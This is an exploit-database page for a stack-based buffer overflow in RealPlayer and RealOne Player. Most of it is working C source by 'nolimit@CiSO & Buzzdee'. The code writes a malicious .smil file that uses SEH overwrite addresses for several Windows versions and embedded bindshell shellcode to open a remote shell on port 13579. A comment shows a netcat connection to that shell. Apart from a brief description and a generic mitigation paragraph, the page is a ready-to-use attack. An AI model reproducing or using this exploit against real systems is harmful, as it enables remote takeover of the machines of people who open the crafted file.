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RealPlayer and RealOne Player Remote Stack-Based Buffer Overflow - exploit.company
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vendor:
RealPlayer, RealOne Player
by:
nolimit@CiSO & Buzzdee
7.5
CVSS
HIGH
Remote stack-based buffer overflow
CWE
Product Name: RealPlayer, RealOne Player
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Microsoft Windows, Linux, Apple Mac

RealPlayer and RealOne Player Remote Stack-Based Buffer Overflow

The RealPlayer and RealOne Player applications are prone to a remote stack-based buffer-overflow vulnerability. This vulnerability occurs when parsing RM (Real Media) files, and can be exploited by a remote attacker to execute arbitrary code and gain unauthorized access. The exploit uses a seh overwrite method, which takes advantage of the SEH being placed in multiple locations over different OS's, making it universal. The exploit includes a bindshell on port 13579.

Mitigation:

RealNetworks should release a patch or update to fix the boundary check issue in parsing RM files. Users are advised to update their RealPlayer and RealOne Player applications to the latest version to mitigate this vulnerability.
Source

Exploit-DB raw data:

/*
source: https://www.securityfocus.com/bid/15381/info

RealNetworks RealPlayer and RealOne Player are reported prone to a remote stack-based buffer-overflow vulnerability. The applications fail to perform boundary checks when parsing RM (Real Media) files. A remote attacker may execute arbitrary code on a vulnerable computer to gain unauthorized access.

This vulnerability is reported to occur in RealNetworks products for Microsoft Windows, Linux, and Apple Mac platforms. 
*/

/* RealPlayer .smil file buffer overflow
Coded by nolimit@CiSO & Buzzdee
greets to COREiSO & #news & flare  & class101 & ESI & RVL & everyone else I forget
This uses a seh overwrite method, which takes advantage of the SEH being placed
in multiple locations over the different OS's. Because of this, it should be
completely universal. :).
Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.

 C:\tools>nc -vv SERVER 1554
 SERVER [192.168.1.93] 1554 (?) open
 Microsoft Windows 2000 [Version 5.00.2195]
 (C) Copyright 1985-2000 Microsoft Corp.

 C:\Program Files\Real\RealPlayer>

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char pre[]=
"<smil>\n"
"  <head>\n"
"    <layout>\n"
"      <region id=\"a\" top=\"5\" />\n"
"    </layout>\n"
"  </head>\n"
"  <body>\n"
"    <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\"";

char shellcode[]=
/* bindshell port 13579 thx to metasploit.com :)
   restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e,
                     0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b  */
"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"
"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"
"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"
"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"
"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"
"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"
"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"
"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"
"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"
"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"
"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"
"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"
"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"
"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"
"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"
"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"
"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"
"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"
"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"
"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"
"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"
"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";


char end[]=
"  </body>"
"</smil>";

char overflow[1700];
int main(int argc,char *argv[])
{

        FILE *vuln;
        if(argc == 1)
        {
                printf("RealPlayer 10 .smil file local buffer overflow.\n");
                printf("Coded by nolimit & buzzdee.\n");
                printf("Usage: %s <outputfile>\n",argv[0]);
                return 1;
        }
        vuln = fopen(argv[1],"w");
        //build overflow buffer here.
        memset(overflow,0x90,sizeof(overflow)); //fill with nops
        memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); //
        memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp (pop pop ret)
        memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); //
        memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) for small biz or something
        memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); //
        memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) enterprise
        memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops
        memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal...^^)
    	memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in

        if(vuln)
        {
                //Write file
                fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);
                fclose(vuln);
        }
        printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n");
        return 0;
}